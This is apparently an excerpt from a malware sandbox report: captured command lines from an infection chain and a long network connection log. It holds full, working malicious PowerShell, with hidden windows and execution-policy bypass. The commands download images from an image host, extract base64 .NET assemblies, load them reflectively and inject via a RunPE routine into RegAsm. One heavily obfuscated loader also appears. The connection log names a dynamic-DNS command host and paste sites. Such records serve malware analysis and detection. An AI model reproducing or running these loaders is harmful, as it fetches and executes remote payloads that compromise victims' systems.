gJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LndlbnlhbW52aC9sYy5zYXlvanJldmVsYy8vOnNwdHRoJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJyAsICdkZXNhdGl2YWRvJywnUmVnQXNtJywnZGVzYXRpdmFkbycpKX19';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/793/578/original/vbs.jpg?1717671844', 'https://uploaddeimagens.com.br/images/004/793/578/original/vbs.jpg?1717671844'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.nujnesa/moc.icirakicekelojeiv//:sptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/798/015/original/new_image.jpg?1718284216', 'https://uploaddeimagens.com.br/images/004/798/015/original/new_image.jpg?1718284216'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.wenyamnvh/lc.sayojrevelc//:sptth' , 'desativado' , 'desativado' , 'desativado','RegAsm','desativado'))}}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Ovaloid = 1;$Pengestrkes='ring';$Mekhitarist198='S';Function Placque($Ansigtsformens){$Bantamweight=$Ansigtsformens.Length-$Ovaloid;$Sowel=$Mekhitarist198+'ubst'+$Pengestrkes;For( $Frizzle=2;$Frizzle -lt $Bantamweight;$Frizzle+=3){$Outgarment+=$Ansigtsformens.$Sowel.Invoke( $Frizzle, $Ovaloid);}$Outgarment;}function Quatrible($Pusheres){ . ($Phenylene) ($Pusheres);}$Extense=Placque 'PhMBroDiz SiBalMalGraDo/ a5 K.Kk0Te ,a(SwW JiChnU,dGeo .wBas t gNNrTM. Ve1 F0D.. U0.o;In CoW riPrnSt6O.4A.;sl U.xR,6 U4Po; . Ar evra:He1Gu2Sp1,o.Ve0Mi)Lo tjGBieSac,uk toPm/ T2 S0 o1Bi0 .0 C1,u0Li1 u .FC iForBue bfUdoMax C/ t1Pi2 C1 t. e0Po ';$Cigartndere=Placque 'CaU As aemerMo-DaApagLaeHan at , ';$Unilaterale=Placque 'A,h,etFit CpBas .: e/ o/ an SzScaHar oi a.a.SpoElrP gOu/ Bs ,xCi/AzO,yvToaSpr iKaoKisF.tNioRemHiyR . HcV sTuvS ';$Forsgscentret=Placque 'Be> P ';$Phenylene=Placque 'S,i ,eM.xGe ';$Passionfruit='Dismes';$synanons = Placque 'Fre ic eh Ho,e r% Paf.pAlpO,d maUdtUdaG %No\H KdydN,fBoaF.rStsT,2N.1Ud1Vi.ExA Pr DbGr Aa& L&Tn TeTrcSth,aoSe FotBa ';Quatrible (Placque 'Ge$pogStl AoAlb .aFolFe:DiNK y Thd.eRudTasChfGooglrKvm SiSudUblN.iIsnT,gW e rNynTaePo=b (S.c,hmNadIm Va/SecPr Ko$.rsJ y,in UaTonAno.rnBus G)F, ');Quatrible (Placque 'Un$.sg.pl no b Rar l n: Af.arBiePse,al Ha nBrcKieS.jBro ru Mrkansta ,lGai ksPrtvie KrRa= U$veUrenBai.il laTot Ae IrBeaGalAred..,tsH pHolPhiSdtBi(S $,aFamoAurVes UgStsboc eGenJatUnr Ae.ytH,) r ');Quatrible (Placque ' T[T.N Uet.tWv.TrSA.eThrTavInilucCoeQuPIno IiH,nCot MCaa enPraRegAfeStr J]N,:Ca:HiSJ,e ,c UuRer,hiByt.ly.oP.arDeoPrtK,o cK.oAklKv .k=,o F[C.NBreEntHa.TsSEde DcU,u arChiBytChyyePLir to,lt.roHacInoColBeTSeySap,xeD,]Ej:In:SoT Rl s.k1Bo2Gr ');$Unilaterale=$freelancejournalister[0];$pneumatocyst= (Placque 'Pa$BagTrlB.oF b ga ,lTe:.eH io .r TmB,oSpgReo ynUna l eTusFr= NH,eN w e- jODobKajUne CcFetP, .yS Uy.fsEmt BeBomM.. LNCle PtB . GWUde abFaC LlSkiBaeLan Kt');$pneumatocyst+=$Nyhedsformidlingerne[1];Quatrible ($pneumatocyst);Quatrible (Placque 'Br$ SHH oA r.rmWeoUtgPuog.n ,aZ lCue Ss,k.KoHGyeSmaBed HeForEksEs[ P$ChC .iHogA,a ur WtP,nCydI.eM,rLiesk]Gr= J$.eEAqx DtcueSinPesEceA ');$Vitriners=Placque '.i$ .HN.o ArAbmSpo,rgA.o MnBeaS,l KeK sSa.MeDTwo ewBen el EoRaa d.eF,oiP lVae .(Ep$HiU .nFoiFulTiaFutC e .r SaD,lSaeG ,Co$t.M aoB,nL.d ungai tKueP tVe),s ';$Mondnitet=$Nyhedsformidlingerne[0];Quatrible (Placque 'St$BagB.lReoAub Ra Sl,l:SkS .yTos it FeGemTyi .sVie HrBi= (A T KeDes ctHo-KvPAlaOrtMeh.n Vo$P M.ooMinakdBln,aiG t,aeLyt.r)Ap ');while (!$Systemiser) {Quatrible (Placque ' O$stgPelShoknb aBel i:CoRw,aUnpCos uo Dd MiSpeKar E=Ud$ Rt srKouHoeUr ') ;Quatrible $Vitriners;Quatrible (Placque 'F,S.ct SaMer.ctP.-.aSA lKoeK,eP,p V Na4di ');Quatrible (Placque 'Th$ hgfalF oUdbb,aP,lAl:FiSSty.hs EtT,e ,m oiQ s JeBerTr=Ri(ErTk,eCosgetPa-KeP.ua.nt MhF. .$NeM aoHenUdd UnFaiCltW,e Ot.r) I ') ;Quatrible (Placque 'Ve$Prg.ulSaoRyb.iaOvlD :AlDBre cvei BmenaTel lt ta Eb Eu.ilP.eCor Ce.anFrdCoe,ys T=.e$h,g .lCooDibFaaRelC,:P.UGrnFod,esCie BeAflCoiUdg FeSi+ N+Fo% $,rflar Me EeDel.eaUnn Ec.de ,j .o .uKlr.lnHoaR.l oi sEctOme.orEf.sucPuoJuuEmnTjtS. ') ;$Unilaterale=$freelancejournalister[$Decimaltabulerendes];}$Stavelsesantallets=321844;$Kopimaskine=26918;Quatrible (Placque '.n$LegKulGro GbRaaBal.a: MSHrk uM,lOvdS,e ,rKosWat,irTroH,ps Mo=Va HuGdeebytSi-.rC,eo ,n,et.beRanu.t r$B.MKyoSanAkdErnaniPat,oe ,t R ');Quatrible (Placque ' .$Blglel,uoDrbHya,pl .:SgTMei ClBehBroF e Vr,xeHi S,=St F [.iS iys.s et ,eMamVu. SCMeo .n AvEne .rUntu ]Co:Gr:FoF,irFuo m PBekaU sBeeMi6La4T.SFotF,r.niWen NgCy( t$PaSBikSnu,flQ.dHyeS rHesuntGrrSpoFepPr) c ');Quatrible (Placque ' y$AfgArlOmoStb.oaM l S:NeB aeQus at,ri FaStlC,sFl1fr0Bu5Ti Pa= kv[OmSSlyPhs BtAce,am a.FeT .eA.x Rt A.PlEBanEncOvo ,dR.i knSkgPi]Sp:Pa:T A RSS,C LI LII..EnGReeFotj.SovtvirPyi,enfagAk(Pe$ TTDyi lK,hTao FeT rCoeP ) ');Quatrible (Placque 'Me$BagaalF.oFobOcaSllGe:W KFlaDubVaeTalP lCogHjnC,i enDeg.a= R$ uBkre CsPot SiS,aGolRusKo1Te0S,5 P. ns SuRobD s ,t.er,xi SnKig (J.$B,S RtgaaArv,peB l,tsFlerasG a.en,rtInaJ.lRelToe,itArsP,,Ci$ImKNeoCepAbibam.maB,sVakEfi yn,keFo)Ep ');Quatrible $Kabellgning;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Kdfars211.Arb && echo t"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	12.221.146.138:9402	june9402xw.duckdns.org	tcp
US	8.8.8.8:53	pastebin.com	udp
US	8.8.8.8:53	paste.ee	udp
US	104.20.4.235:443	pastebin.com	tcp
US	172.67.187.200:443	paste.ee	tcp
US	8.8.8.8:53	uploaddeimagens.com.br	udp
US	8.8.8.8:53	uploaddeimagens.com.br	udp
US	172.67.215.45:443	uploaddeimagens.com.br	tcp
US	104.21.45.138:443	uploaddeimagens.com.br	tcp
US	8.8.8.8:53	nzaria.org	udp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
US	8.8.8.8:53	nzaria.org	udp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
US	8.8.8.8:53	june9402xw.duckdns.org	udp
US	12.221.146.138:9402	june9402xw.duckdns.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
US	8.8.8.8:53	nzaria.org	udp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
US	8.8.8.8:53	nzaria.org	udp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
US	8.8.8.8:53	nzaria.org	udp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
AU	185.184.154.17:443	nzaria.org	tcp
